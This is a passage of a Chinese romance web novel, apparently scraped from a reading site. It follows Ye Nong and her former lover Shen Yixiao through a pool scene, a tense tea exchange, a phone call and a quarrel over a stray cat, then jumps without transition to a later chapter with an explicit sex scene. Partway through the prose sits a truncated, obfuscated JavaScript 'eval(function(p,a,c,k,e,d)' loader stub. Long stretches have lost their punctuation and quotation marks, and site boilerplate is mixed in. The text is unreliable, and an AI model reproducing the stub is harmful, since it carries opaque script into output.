好像,曾经的唇舌热吻,床笫相缠,都翻页过去,想起时,再也不会在他心底掀起任何波澜。 夜浓突然觉得裹挟在肌肤上的水好凉。 那股凉意好像已经渗透皮肤,钻进骨髓,冰到了心脏。 “阿嚏—— 沈屹骁嘴角一勾,“再不上去,感冒了是不是也得怪我头上? 夜浓吸着鼻子,扭头瞪他一眼:“不怪你怪谁? 怪完,她身子一转,踏着水的阻力走了两步后,她又停住,身子转回来的时候,她警告:“别跟着我! 声音带着明显的恼意,偏偏嗓子里还残留刚刚哭过的哑音,听在耳里,像是在撒娇。 沈屹骁在她转回身的那一秒,垂眸笑了笑。 自然没再跟着她,从水底一跃上了池边后,沈屹骁往最后一个躺椅走去。 夜浓从扶梯上去的时候,余光瞥过去。 后背肌肉还是和以前一样结实,腰侧也没有丝毫赘余,被五分速干泳裤包裹着的一双长腿,更是紧实有力。 随着沈屹骁 弯腰捞起叠得平整的浴巾,露出后腰左侧的半翅纹身时,夜浓眼波蓦然顿住。 那是他生日时,她送他的礼物。 是夜浓亲手画的,一只展翅的紫色蝴蝶。 结果到了工作室,沈屹骁却突发奇想,要和她一人一半纹在身上。 当时是沈屹骁先纹,纹好后,跟她说不疼,结果等夜浓开始纹的时候,他还是把自己的胳膊伸到她嘴边,说疼了就咬他。 夜浓偏开视线时,吸了吸鼻腔里的酸涩。 身后传来的轻微鼻音,让沈屹骁抬手擦头发的动作止住。 转过身,见她站在扶梯旁发呆。 沈屹骁皱着眉头走过来,“真想感冒? 话音落地,他将那张干燥的浴巾往夜浓肩膀上一披。 “去坐着。 夜浓是在沈屹骁走远后才完全收回神识,扭头看向肩膀上的浴巾,垂在身侧的手蜷了紧,紧了又蜷,几个来回后,才攥住浴巾边角。 沈屹骁再回来的时候,身上穿着一条深色浴袍,胳膊上还搭着一条浅色。 夜浓不傻,当然知道他胳膊上那件是给她的。 但她并不打算接受,她自己也不是没带浴巾,再说了,出门过走廊就是电梯—— 然而,没等她脑袋里想完全,肩膀上的浴巾就被沈屹骁抽走扔到了躺椅上,夜浓只觉肩膀一凉,下一秒,保暖性极好的长绒浴袍就压在了她肩上,夜浓被他不太温柔的动作带得肩膀往前倾斜了几分。 他何止动作不温柔,声音也透着几分不耐似的:“跟我过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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没有比它还要香的白开水,也没有第二个人知道,她最喜欢的就是金骏眉的首冲,不够醇甘,却是最香的。 那一年,夜浓在他那里养成了很多很多个与她家庭背景不匹配的小习惯,大到住行,小到吃穿,对沈屹骁来说,是平常,但对夜浓来说,却是奢侈。但是当时的她,不觉有异,全盘接受,直到离开京市,去了香港,她才知道,她喝过的那种金骏眉一斤要五位数,穿过的随手一件外套更是六位数起步。 有钱人很多,做个手势就会有专门的人冲泡好茶,一声吩咐就会有专门的人去奢侈品牌店采买,但身亲力行去为她做这些的又能有几个。 看似幸运的遇到了一个,却也不过是抱着玩玩的心态。 他对她的好,夜浓无法反驳。 但那份好,却非真心,且有期限。 就像在养猫这件事上,他的态度是:养或者不养,都有遗憾,但你若是养了,就会多一份回忆。 的确是多一份回忆,可是也多一份痛苦。 有多爱,就有多痛。 夜浓看着面前那杯金黄色,略带微红的茶汤,所有的情绪都被她很好地压下,只剩微微一勾的唇角,“太久没喝,早就忘了。” 她看见沈屹骁握 着茶壶的手指微微一紧视线抬起落到他脸上夜浓嘴角弯出稍重的弧度说:“上次在沈总家我是不是说过我现在更喜欢喝白开水。” 沈屹骁抬眸对上她视线看似无波无澜的眼底有他自己才知道的暗涌。 她喊他“沈总”那他是不是也要回她一声“夜小姐”? 沈屹骁垂下眉眼哂笑一声:“那照夜小姐的意思二十岁的小弟弟是白开水?” 夜浓当时没细想他这句话的意思以为他是借着上次她提到的二十岁小弟弟来说事。 “沈总不也年轻过?” 是年轻过 不止意气风发好似穿堂风还让她用求饶的眼泪、用攥紧的拳、用绷直的脚趾、用后弓的腰肢每一个肢体语言都是对他逞凶的狼性的最好控诉。 可是当时的她明明那么喜欢现在呢是觉得自己喝不惯他这种呛喉的酒开始喜欢无色无味的白开水了? 白开水. 沈屹骁想起昨天早上和她一起吃饭的那个男人全身上下也就脸长得嫩了点除此之外哪里有一丁点白开水的影子? 真不知该说她天真还是说她对男人有什么误解。 沈屹骁嘴角挂着玩味的笑:“夜小姐看男人的眼光真的有待提高。” 闻言夜浓却眉梢一挑:“的确但凡我眼光好点也不会认识沈总了。” 沈屹骁哪里想到自己一句冷嘲竟被她钻了空子以前怎么就没见她脑袋这么灵光呢。 在他的一阵静默里夜浓心情有了明显的愉悦。 哪怕面前的那杯金骏眉已经凉掉了夜浓也端起喝了一口喝完她还故意挑了挑眉:“连香气都没了。” 沈屹骁硬生生被她气笑了。 “是夜小姐现在火气燥得很哪需要再喝这种驱寒的红茶”他下巴一抬“让你那二十岁的小弟弟给你倒白开水喝去。” 夜浓之所以坐到现在没走就是在等他现在抓狂的模样。 得偿所愿了她唇角弯出几分沾沾自喜:“沈总别这么小气嘛刚才不都说了吗你也不是没年轻过——” 沈屹骁声调一扬:“我年轻时候什么样你心里没数?” 夜浓也不知道自己怎么就因为他这句听似很正经的一句话而想歪了。 是,他大学那会儿的确是最耀眼的存在,他的长相、他的家世,又或者他的成绩,无一不是全校议论的中心。 甚至还有些八卦的女同学私下里说他是最有性幻想的对象。 而那种只存在别人脑海里的幻想,都真真实实被她体验过. 不知是餐厅里的空调温度调得高了,还是身上这件长绒睡袍太过暖人,夜浓只觉得脖颈一圈燥燥的、黏黏的,连着脊背都被焐出了汗。 夜浓抬手在脖子里摩挲着:“我能有什么数 话说得可真是轻巧。 沈屹骁凝眸看了她半敞,突然想起一件事,“你以前换下来的手机好像还在我那。 手机? 夜浓愣了一下,“什么手机? 问完,她心脏突然“咚的一声,天呐,他说的该不会是 在她肉眼可见的惊慌无措里,沈屹骁提了提嘴角:“如果需要的话,我不介意找出来让夜小姐重温一遍。 作者有话要说 手机里的东西,想象一下~ 跟宝们求个「作者收藏」呀,也想拥有高作收带来的高积分:)嘻嘻 第 20 章 二十章 第20章二十章 重温一遍. 因他话里的这四个字,夜浓脑海里的画面犹如指尖翻页。 坐他身,居高临下的。 躺他怀,餍足熟睡的。 有从她眼睛里拍下的浪漫烟花。 他手持仙女棒站在她面前画出的一个心。 他牵着她手爬上山顶看到的日出。 他开车带她追赶的那一场日落。 还有那么多的日常,他给她剪脚趾甲、穿袜子、系鞋带 还有那么多的缱绻,吻他脸、咬他耳垂、亲他喉结. 太多太多。 结果分手了,人走了,手机却忘了拿回来。 可是都过去这么久了,他怎么还没扔,还留着,难不成偶尔还拿出来看一眼? 脑海里定格住一幅画面,他仰靠沙发,指尖轻滑,一张张照片在他墨色瞳孔里闪过。 如果真是这样,那他当时都是以怎样的心态去看那些过去的? 伤感还是冷嘲? 意兴阑珊还是饶有兴趣? 餐厅里的温度好像越来越高,夜浓额头都沁出了薄薄一层汗,不知是不是缺水了,她喉咙很干,但面前的白瓷碗已经空了。 在她说那杯凉掉的金骏眉连香气都没有了以后,对面那人就再也没了去冲第二泡、第三泡的兴致。 夜浓抬起头,视线笔直地撞进他那双漆黑的眼睛里。 记忆里那双温柔的眉眼,不知怎的,莫名熔了他此时眼底的玩味。 让夜浓不自觉放软了调子。 “那是我的手机,她语气几分诚恳:“如果沈总方便,可否还给我? 还是和以前一样,被掐到了软肋,才能让她服一丝丝的软,但这种软却不是她的本心。 沈屹骁细细凝视她一会儿后,却笑了笑:“我今天很忙,改天再说。 话说完,他一丝迟疑都没有就起身出了餐厅。 夜浓目送他背影消失后,整个人如绷紧到极致断掉的弦,往椅背上一靠。 那种感觉就像是领导在给自己穿小鞋,不想穿,却又不得不自己伸手接过,违心地说一句:领导,我自己来。 所以接下来,她要怎么办? 求求领导放过自己还是说殷勤一点去讨好领导又或者认真努力工作让领导对自己有一个新的改观? 乱七八糟的想法在她脑海里一一过着“叮”的一声电梯门开。 夜浓掌心压在心口一连两个深呼吸后她才鼓起勇气走到那扇双开装甲门前。 心想等下他开门她一定要礼貌客气一定要和颜悦色最好每一个毛孔都绽放笑意总之就是不能惹他这位太子爷有一丁点的不高兴。 一阵心理建设后夜浓摁响门铃。 一秒、两秒、三秒. 夜浓又摁了一遍。 又一个三秒、五秒、十秒过去依旧不见门开。 难道没回来? 可他是穿着一身浴袍走的不回家能去哪? 夜浓从手提袋里翻出手机虽说沈屹骁的手机号早就被她删了可那串号码却并没有从她记忆里删除。 几番犹豫后夜浓摁下那串烂熟于心的手机号话筒里很快传来了等待音。 每响一声夜浓的心脏就跟着“咚”一声。 想他接又怕他接一番心里斗争后话筒那边传来人工语音提示。 手机从耳边拿下来夜浓拧眉看着通话记录里的那串手机号虽说好几年没拨过这串号码了但她绝对没记错。 所以没接的原因难道是因为他拒接陌生来电? 沈屹骁的确很少接陌生来电但夜浓的这个新号码对他来说却并不陌生甚至还在他的手机通讯录里有它专属的名字:「Y」 至于为什么没接是刚好那个时间他在洗澡。 当他注意到手机屏幕有一个未接来电时他人已经到了地下车库。 秘书关昇见他从电梯间出来时忙打开后座车门然而下一秒又见他往前迈的双脚猛然停住。 眉宇拧了短瞬紧接着唇角却弯了。 让人一时分辨不出他当下的心情到底是好还是不好。 等他上了车关昇从后视镜里看见他舒展开的五官心里的石头这才落了地。 “沈总羌海项目的签约仪式是下午两点到两点半上午八点半您有一个短会会议结束我们就直接去机场了。” 沈屹骁阖着眼 仪式前是不是还有一个领导会见?” “是的不过时间很短十分钟就能结束。” 到公司刚好八点关昇给他泡了一杯花茶放在一边后退出办公室。 沈屹骁点开手机看着通话记录里被标记的红色未接字母他目光久久定格最终还是将手机锁了屏。 这份犹豫和迟疑整整纠结了他五个小时在飞机落地两千公里外的城市后沈屹骁还是回拨了过去。 原本明亮的办公室因为窗帘紧闭光线昏暗。 夜浓歪靠在沙发里正在午休拿在手里的手机震动时因为没有睡熟她眉心浅浅皱了一下没看来电手指轻轻一滑电话接通。 机场VIP休息室里安静听到话筒那边传来轻描淡写的一声“你好”时沈屹骁很轻地扬了下唇:“你好。” 接下来便是两秒的沉默。 夜浓就是在那短暂的两秒时间里睁开眼接通前她不觉有意 她几乎一秒就从沙发里坐正了胸腔疯狂震荡她却只能强作镇定。 “哪位?”她掐着嗓子问。 竟然反问他哪位。 沈屹骁眉眼带笑眼底饶有兴致配合着她:“早上你打了我电话不知你哪位?” 夜浓忙说一声抱歉:“早上是我不小心拨错了号码。” 她掐着嗓子说话声音细细的虽说沈屹骁已经很久没听过她电话里的声音但这点伎俩哪里能糊弄过他。 “这样啊”沈屹骁食指挠在眉骨:“不知你原本是要找哪位。” 一般来说对方听说是拨错号码的有礼貌的会说一声没事没礼貌的会直接挂断这人却不按常理出牌。 早上拨通他电话的那股冲动经过一个上午的时间已经让夜浓后悔不已再说下去她生怕自己会露馅。 于是她又说一次抱歉不等电话那头给出反应夜浓就先挂断了通话。 沈屹骁看着已经回到通话记录的界面再回想她刚刚语气里的慌乱不禁一阵低笑。 突然很期待下次跟她的见面会因为那个色彩、动作还有姿势都异 常丰富的手机而跟他服软吗? “关秘书。” 关昇立马走过来:“沈总。” “回来那趟飞机几点落地?” “七点。” * 一个下午夜浓都有些心不在焉好在今天公事不多她百无聊赖的一会儿看着电脑屏保失神一会儿点开手机那通不过四十二秒的通话记录一会儿又在想自己有没有露馅。 到了下班时间曲姚敲门进来:“夜总监你不走吗?” 夜浓这才回了几分神:“哦你先走吧。” 霓虹接替下沉的暮色将城市再次点亮。 中午吃得少这会儿胃里空荡荡的夜浓一边坐电梯下停车库一边从网上搜索能勾起她食欲的餐厅。 一条微信消息从手机屏幕顶端弹出来点开是南禹发来的。 「昨晚的约定还作数吗?」 要不是经他提醒夜浓真要把今晚去看物业看猫这事给忘了想着会所那边也可以吃饭夜浓看了眼时间回道:「八点可以吗?」 南禹:「当然八点我在十二栋门口等你。」 从公司回铂悦府也不过二十分钟不到因为时间还早夜浓先是洗了个澡而后冲了杯茉莉花茶。 阳台凉风簌簌两只掌心握着的玻璃杯壁很快就凉了温度。 以前从来都没有好好看过这个生她养她的城市走的时候也不觉留恋直到去了香港才真正明白什么叫「身在异乡为异客」然而后一句的「每逢佳节倍思亲」她却没有过多的感受。 五年 好像没有。 所以她应该过得很好好到已经忘了自己还有一个女儿的存在了吧。 倒是当初那个主动放弃抚养权的父亲对她照顾有加时不时给她发两条消息问她近况。 夜浓嘴角笑出苦涩与眼里倒映着的绚烂霓虹像是两幅截然不同的水墨画。 南禹在楼下看到她的时候也有这种感觉。 浅灰色的针织三件套密长卷发很随意的用一只玉色长簪全数挽起。 一股清冷的松弛感可举手投足间又有一种顾盼撩人的媚骨风情。 脸上明明看不 出任何的妆造,却依旧唇红齿白,一双眸,明亮清澈,整个人像是从画里走出来的。 南禹失神在想,说的秋水剪瞳,大概就是如此。 “等很久了吗?” 轻快悦耳的声音犹如莺声燕语,南禹恍然回神,笑着迎上前两步:“我也刚到。” 两人并肩往物业方向走着,南禹一会儿看地上的影子,一会儿扭头看她。 平时和女生相处游刃有余如鱼得水的他,今天却脑袋里空空的,半天才问出一句:“晚饭吃了吗?” 夜浓虽然打算去会所吃点,但并没有打算和他一起,便点了点头:“吃了,你呢?” 南禹却摇头:“还没有,匆忙赶回来,还没来及。” 夜浓顺着他话问得自然:“你是不是还在上学?” 南禹先是摇头,又点头:“我已经大学毕业了,只不过研究生在读。” 这话听着好像是生怕她觉得他年龄小似的。 夜浓忽略这种感觉,笑了笑:“你是自己一个人在这住吗?” “差不多吧,我父母鲜少回来。你呢,”南禹视线定格在她略有低垂的侧脸:“你这次来出差会待多久?” 夜浓摇了摇头:“暂时还不知道。” 之前去海市出差,原本预计是两个月,结果一待就是半年。 南禹不知她是真不知道,还是不想说,又问:“那你是从哪个城市过来的?” “香港。” “香港?”南禹眼睛顿时亮了:“我父母就在香港,本来他们让我研究生毕业过去我还犹豫呢。” 夜浓听出他话里意思,有些哭笑不得:“你该不会因为我才要过去吧?” “不行吗?” 他的不假思索让夜浓一愣,从刚刚在楼下见到他到现在,夜浓都没怎么注意看他,如今视线定在他脸上,才发现他脸膛生得实在青涩,和他健壮的体格违和到矛盾。 大概也是因为太过年轻,看她时,眼里的眸光一点都不藏着,满是他这个年龄才会有的生动和热烈。 让夜浓想起当初的沈屹骁。 不过沈屹骁和面前这个男孩子可不一样。 同样的年纪,沈屹骁却五官轮廓锋锐,一双墨色眼瞳,自带疏离和冷漠,也正是因为这样, 才显得他的热烈有多珍贵。 莫名其妙又拿他来比,夜浓虽然非常不想,但也无奈,谁让她就谈过那一场恋爱呢,连做个比较都没有选择的余地。 如今面对一个小自己五六岁的弟弟,夜浓大大方方接住他热切的眸光:“你若是真的把我当姐姐,去香港的时候,我可以请你吃顿饭。” 南禹一点腼腆都不露,张嘴即来:“姐姐。” 周围安静的能听见风吹叶动的簌簌声,夜浓被他生动的表情惹笑。 * 沈屹骁乘坐的飞机七点整落地,司机听关昇吩咐,直接开车回了铂悦府。 中途,关昇几次看后视镜,虽说飞羌海不算远,但往返都不曾见沈屹骁有过阖眼。特别是回途的路上,不仅看不出丝毫的倦意,甚至还有风发的意气流露在眉宇间。 关昇在心里感叹,到底年轻啊,精力旺盛。再看看自己,四十不到,来回两趟飞机一坐,腰也酸,颈椎也硬。 一个多小时后,车子驶入铂悦府,原本是要进车库,却被沈屹骁叫停,关昇不解地扭头,却见他已经打开车门下车。 步行快到十二栋楼下时,沈屹骁抬头往上看,视线定格间是暗色,他眉心微蹙,看一眼时间,已经八点过半。 时间不算晚,但他第一反应却是:这么晚了还没回来。 进了一楼大堂,沈屹骁径直走到服务台。 今天管家是程麦当值。 “沈总。” “夜小姐还没回来?” 从那次甜品之后,程麦心里早就暗戳戳地洞悉了这位沈总的心思,礼貌应答:“夜小姐已经回来了,但是中途又出去了。” 中途出去,经过大堂,那就是没有离开小区,去会所吃饭了? 沈屹骁点了点头,转身的时候,突然想起来:“上次那只猫找到主人了吗?” 程麦摇头:“还没有。” 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后来他们交往了,沈屹骁才知道,被她生活费养着的何止一只流浪猫,多得他一双手都数不过来。 有一次夜浓被猫抓伤,沈屹骁就警告她以后不许再去喂那些流浪猫,那是他们第一次吵架,冷战一个下午,以沈屹骁在女生宿舍楼下苦等她到凌晨一点而告终。 热恋期的情侣总是床头吵架床尾合。 在夜浓哑声不知控诉他多少次混蛋后,沈屹骁压着她汗津津的脊背,跟她约法两章。 吵架可以,不许不回他短信不接他电话; 喂猫可以,要戴手套。 再后来,他问她要不要养一只,她却把头摇得像拨浪鼓,说自己可能没有那么多的耐心。可她明明照顾那些流浪猫那么有耐心,一天一次地去喂,下雨下雪都不间断。 后来沈屹骁才知道,她是害怕。可是无论他怎么安抚怎样给她讲道理,她都坚持己见,说是看它们能填饱肚子就已经很开心。 他便都顺着她,只要她开心,什么都顺着她。 于是他们一起去给那些流浪猫买猫粮,还带两只母猫去做绝育手术。 太久没有去回忆这些美好,以至于一旦回想就刹不住似的。 原本是想去会所的,却不知不觉被脑海里的回忆引他走进物业中心。 等他意识到,双脚顿了一顿,转念一想,也的确好几天没见那只猫,看看也花不了几分钟的功夫,谁知,刚一进大厅,就听见熟悉的声音。 “那你白天上课,koko怎么办,是关在笼子里吗?” 沈屹骁循声看去,只见夜浓正怀抱那只布偶,坐在右手边休息区的 沙发里旁边还坐着一个男人。 正是上次在会所餐厅见到的那个男人。 和她同桌吃饭且谈笑风生的男人。 男人说了什么沈屹骁懒得去听注意力全在他的坐姿上。 压着腰坐脖子前倾脑袋前伸侧着脸。 虽然看不见他眼神但凭想就知道那双眼是盯着夜浓看的。 沈屹骁今天一身冷黑色西装外套纽扣解开露出里面依旧冷黑色的西装马甲。 一身肃穆黑色却凉不过他眉眼。 是会所的餐厅不好吃还是小区的花园不够大一只没有主人认领的猫竟然还给两人创造了见面的机会? 这要是一直没人来认领两人是准备把物业中心当成约会的地点? 凝眸半晌后他紧绷的下颌骨突然一松紧抿的唇角勾出淡淡弧度时 五分钟后就在夜浓把手里那管益生菌收起来的时候物业经理从办公室匆匆走出来到了服务台他指骨磕着台面吩咐道:“赶紧把那只布偶给沈总送去。” 站在服务台里的小姑娘叫汪雪听完经理的话她眼睛睁出疑惑:“哪位沈总?” 她来物业工作时间短对「沈总」这个称呼还不是很敏感。 经理接到电话后的紧迫感还没消不答反问:“还能有哪位沈总?” 汪雪愣了好几秒才反应过来:“你说大老板呀?”私底下她们都喊沈屹骁为大老板。 见经理点头汪雪又起疑惑:“为什么呀?他是猫的主人吗?” 经理心急火燎“哪那么多为什么”他低头看一眼时间:“给你十分钟十二栋1201赶紧的别让沈总等。” 天呐十分钟那她岂不是得用跑的? 汪雪低头看一眼脚上的小高跟。 “还愣着干嘛快点去呀!” 汪雪都没见过经理发这么大的火气立马从吧台里绕出来跑到沙发前。 “夜女士不好意思啊这只猫”汪雪朝她怀里指了指:“我现在要送走了。” 虽说大厅里安静可刚刚夜浓的注意力都在猫的身上所以压根没去注意服务台前的对话如今听她这么一说愣了一下:“是找到主人了吗?” 当然不是猫的主人,但汪雪不知道怎么解释,毕竟她现在也一脑子浆糊。 正踌躇着不知怎么说时,经理走过来。 “不好意思这位女士,这只猫现在已经有人认领了。” “认领?”夜浓皱眉:“不是猫的主人?” 时间紧迫,经理眼神示意汪雪,让她先把猫抱过来。 汪雪忙伸手:“夜女士,那边要得急,我先送过去,这是我们经理,你有什么疑问,问他就好。” 如果是主人来认领,夜浓一句多余的话都不会,但现在明显不是。 她抱着布偶的动作没有松,问经理:“不是说非主人认领,需要一周后吗?” 规定当然是这么规定的,但现在大老板发话了,经理除了无奈就只能照做。 “夜女士,你让我们工作人员先把猫给沈总送过去——” “等等,”夜浓揪着他话里的两字,打断:“哪个沈总?” 经理懵了:“.” 他刚刚说沈总了吗? 夜浓在他茫然又惊诧的表情里,眉梢一扬:“你口中的沈总该不会是沈屹骁吧?” 作者有话要说 沈总:是我,以后想看猫,可以把这小男人带我这来看。 有红包 你身边有不少朋友还没看到本章呢,快去剧透一下,他们会很崇拜你的 八十一章 黑色轿车一路朝春江半月方向行驶。 上次过来, 沈屹骁是带着夜浓步行,走的是入户南门。 这次,黑色轿车驶进东侧, 葫芦造型的铁艺大门缓缓打开,缓坡向下,到底是两低中高的电动卷帘门车库。 三个车库内,停的都是沈屹骁购置的新车。 随着司机打开车门, 沈屹骁拍了拍枕在他腿上的人, “宝贝, 到了。” 夜浓撑起胳膊坐起身,“这么快!” 安安静静了一路, 沈屹骁还以为她睡着了。 “你到底醉没醉?”他轻笑了声。 夜浓把两侧头发勾到耳后, 把自己清醒的一双眼睛凑到他脸前:“你看。” 水蒙蒙的, 晃荡着迷离的光,但说话声却一点都不含糊。 沈屹骁在她脸上掐了掐:“所以在酒吧是装的?” “对呀,”夜浓眼里弯出狡黠:“不装醉......” 闷“咚”一声里,鞋从她脚上脱落。 随着她抬膝坐上来,沈屹骁双手抚上她两侧腰肢, “在这里?” “不是你说要在车里的吗?”说着, 她两只胳膊搭着他肩, 吻在他唇上。 她的吻不似沈屹骁那般有着盛夏阳光的烈,更像冬日凛夜里的月, 看着清清冷冷的, 但是后劲很足, 会把人磨得难耐、心痒。 就像现在这样,含着他的唇,轻轻地吮, 把他微凉的唇瓣磨得越来越烫越来越烫,她才探出舌尖,往他唇齿里钻。 开始的时候,沈屹骁还能做到睁开眼看她,被她几下一磨,眼睛不自觉就闭上了。 但碰到她今天这么主动的次数不多,所以他回应很少,整个人享受般的,任她亲着。 直到感觉有一只小手在作乱,紧接着,吻停了。 沈屹骁缓缓睁开眼,凝眸的视线里,他看着她缓缓垂下眼睫,看着她一点、一点抿上自己的唇瓣,看她没醉,但却绯红着的脸颊。 封闭的车厢里,轻微的一点声响都能被放大。 既能听见自己一点一点加速的心跳,也能听见自己不受控制的口耑息。 随着他制止的动作,夜浓抬头看他。 这才发现他额头出了汗。 她身子骨靠过来,修长的天鹅颈后仰,双齿张开,咬在他下巴上。 ② 沈屹骁几乎动用了所有的克制,才咬牙说了三个字:“换辆车。” “好呀。” 嘴上答应,可她云/力作却没停,仰头看他的一双眼,笑得像只狡猾的狐狸。 车库外的壁灯亮着,幽黄的光圈投在这深绛色的夜,尤为得亮。 能清楚看见他微红的眼眶,不是那两杯烈酒染的,是被她柔弱无骨的手指揉出来的。 沈屹骁轮廓崩得紧,忍了又忍,最终仰头闷出长长的一息。 是对自己一向引以为傲的自持的屈服,也是对她的认命。 ③ 像是要找到一个发泄口,沈屹骁抬手扣住她后颈,指掌往前一压,精准无误地吻住她。 这个时候,哪里还讲什么技巧。 带着发/泄,他吻得很急切,磕磕撞撞的,几次咬到她舌尖。 谷欠能解,火难消。 沈屹骁双齿一抵,咬住她唇,重重的鼻息声里,他果断按住她手,眼睛睁开的下一秒,他也松开了她的唇。 只用了很短的时间,在接连的两道关门声里,夜浓被他抱进了另一辆车里。 车厢里昏昏暗暗的,借着外面壁灯的光,只能看见彼此眼底的点点晶亮。 沈屹骁因她的云/力作而抿紧唇。 莽撞又不知轻重里,一道“嘶”音传来。 她不知道的是,就算是她带给他的疼,都让他上瘾。 身上和心头越来越热,一抬头,撞进她目光里。 他好像从她的瞳孔里看见了失态的自己。 想伸手挡住她眼睛,又像是被她一只手捆绑住,动弹不了。 勾子般的声音低在他耳廓:“知道你什么时候最性感吗?” 在他的一道闷声轻叹里,夜浓挺直腰脊,手臂一抬。 轻薄的绒衫被扔在了一旁。 玉龙雪山的杜鹃,越是高山,花开越艳,最为纯粹的潋滟之色,却能与雪山的白融为一体。 置身其中,花香溢鼻,若是用浮满青筋的手捧起一朵含入口中,又能尝出它另一番滋味。 雪山脚下,湿泞湿地,经过,更是能留下撞撞回响。 沈屹骁一向都很露骨,即上云端前,各种磨人。 “喜不喜欢和我?/愛?” 夜浓不是扭捏的性子,但被他要得佷了,免不了要耍些小性子,她不说话,咬住他耳垂,用声音磨他。 结果下巴却被沈屹骁虎口扳过来:“回答我,喜不喜欢?” 平时他宠着她惯着她,这个时候,不听到答案,他会有一千一万个本事让她开口。 “喜...欢...” 以为这就行了,结果沈屹骁却还不依不饶。 “要不要和我?一辈子?”他眼里光亮灼灼,在跟她确定。 夜浓整张脸都红出了羞恼色,作气地不想回答他,去吻他,结果刚一吻住,唇就被他咬住了。 “要不要?” 夜浓快要被他气死了,声音一抬:“要要要!” 他这才彻底满足了似的,双手捧着她的脸,重重地吻下去。 花的绰约、山的壮阔在此交融,更何况干涸的沙漠。 只需要丁点的火星,就能燎原。 月亮多露了一角,月色朦胧带进来的浅白灰影里,沈屹骁俯身去吻她,舌尖感受到了鲜咸。 他心尖一颤,“宝贝。” 身下的人却不理他。 沈屹骁将她偏开的脸小心翼翼地扳过来,“宝贝?” 不出声,却能听见她低低的抽泣。 沈屹骁起身去了主驾驶。 引擎响,车灯亮。 再回来,她满脸泪痕的模样让沈屹骁整个人都慌了。 “怎么哭成这样?” 虽说他经常把她弄哭,也喜欢看她在这个时候哭,可她现在泪眼婆娑的模样,到底还是心疼更多。 “我错了宝贝,”他语气很急,求她似的:“给我看看,是哪——” 夜浓一巴掌拍掉他手:“不给!” 沈屹骁作势捉住她手腕,甩自己脸上,结果夜浓攥着手心,软着手骨。 沈屹骁轻笑一声:“舍不得啊?” 夜浓抬头咬在他肩膀。 不舍得打他脸的手劲,都用在了双齿间。 沈屹骁除了皱紧眉心,吭都没吭一声。 痛感渐消,沈屹骁无声在笑,“不解气的话,一会儿上楼让你多咬两口。” 细腻的绒毯将她包裹得严严实实,将她从车里抱下来的时候,夜浓吸了吸鼻子。 “你就是禽兽。” 他一点都不否认:“嗯,禽兽。” “就会欺负人。” 这他不敢全部承认:“偶尔,也就偶尔。” “哪有偶尔,你是每次!” 想笑,又不敢笑。 沈屹骁低头看她红扑扑的,不知是酒精未退还是情谷欠未消的脸颊,低头亲了亲。 “这么疼吗?” “你说呢?” 笼在毯子下的小手,钻进他未扣的衬衫里,用力掐了掐:“你自己什么呎//寸心里没数?” 这种怨念,在男人听来,可是极大的夸奖。 沈屹骁眉头锁着,嘴角在笑:“按理说,你早该适应了,怎么——” “你还说!” 这种话题聊起来多有意思,沈屹骁舍不得岔开。 “等下上去给我看看,要是还像以前一样,不许忍着,我去给你买药。” 夜浓没说话,含羞带怒的一双眼瞪着他。 沈屹骁低头看了她一眼,没忍住,笑了声:“怎么每次事后都这个表情,嗯?” “嫌弃?” 沈屹骁连连摇头:“没有!” “不喜欢?” 沈屹骁下巴直点:“必须喜欢。” 一张嘴,像是抹了蜜似的。 夜浓“哼”了声:“你等着吧,下次我一定买条链子把你锁起来!” “链子?”沈屹骁故意似的:“不该是手铐吗?” 眼看她眉眼又沉了几分暗色,沈屹骁赶紧换了口风,“行吧,你要是喜欢链子,那咱就买链子,但是这床得换一张,不然你都没地方栓。” 夜浓:“......” 这人真是,什么话都能接。 上了楼,沈屹骁直接把她抱起了浴室。 浴巾铺在洗手池上隔着凉,沈屹骁把她放坐上去:“要不要泡个澡?” 夜浓看向五六米远处的椭圆形浴缸。 沈屹骁把脸凑到她面前:“有干桂也有爱莎,要哪种?” 什么喜好都被他摸得一清二楚,夜浓脚尖踢了他一下:“干桂。” 沈屹骁从来都不会让她一个人泡澡,大学时的那个冬天,一到周末,沈屹骁就会把她带去公寓。 给她放洗澡水,在水里铺满花瓣,是他最热衷做的事,包括给她洗头发、吹头发。 水汽氤氲里,沈屹骁从后面拥着她,撩起的水里,带上来瓣瓣金黄,沾在她白皙的肩膀和手臂上。 他低头吮出一块浅浅的红痕:“还疼吗?” 夜浓摇了摇头。 “下次我轻点。” 这话不知被他说了多少次,根本就没有可信度。 可是被他用软软的调子说出来,就是找不到一个字来反驳他。 沈屹骁把下巴抵在她肩膀,歪头看她:“还生气呢?” 不生气也被他一直问一直问,问出了小小的气性。 夜浓手肘不轻不重地往后戳了戳:“再问就真生气了。” “这样多好,”沈屹骁把她搂紧:“高兴不高兴,生气不生气,全都说出来,知道这个世界上,每天会有多少对情侣因为嘴硬而分手吗?” 以前没发现他这么喜欢说教。 夜浓撇了撇嘴:“所以你在怪我喽?” “当然怪你了。”沈屹骁一点也不藏着:“要不是你嘴硬,我们哪会分开这五年,你知道五年能干多少事吗?” 夜浓:“......” “说不好我们现在连孩子都有了。” 夜浓扭头看他:“就算没有录音笔,我们就一定能走到最后吗?” “这还用说吗?”沈屹骁捉住她手腕:“知道这戒指是我什么时候买的吗?” 夜浓心脏微微一缩。 难道—— “五年前就买了,倾家荡产买的,买完这戒指,我连个早饭都吃不起了。” 本来还感动着呢,结果被他最后一句话说的,夜浓气笑一声:“那你怎么不去香港找我呀,拿着这戒指去找我,我肯定会请你吃一顿早饭的。” 沈屹骁:“......” 夜浓扭头看他:“说话呀。” 沈屹骁双手握住她肩膀,把她往前推了几分:“坐好。” “你干嘛?” 沈屹骁在她后肩一笔一划地写着。 “给你三次机会念出来,不然今晚我让你哭一夜。” 夜浓:“......” 等他写完,夜浓整个人还是懵的。 “是什么?” 见她不说话,沈屹骁又提起指尖,“给你点提示,五个字。” 夜浓气笑一声:“五个字,三次机会,你当我有后眼吗?” “那你就只有哭了。” 夜浓:“......” 后肩膀每落下一笔,夜浓就觉得心脏“咚”的一声,像极了他用力撞她的力度。 五个字就算一笔一划都很慢,也很快就写完了。 “是什么?” 凭感觉,他就是写上一百遍,自己也不可能辨认出来。 所以只能智取。 她刚刚最后一句话说什么来着? 「说话呀」 不是这句,上一句...... 「那你怎么不去香港找我呀,拿着这戒指去找我,我肯定会请你吃一顿早饭的。」 夜浓眼睛一亮,扭头:“五个字?” “嗯。” 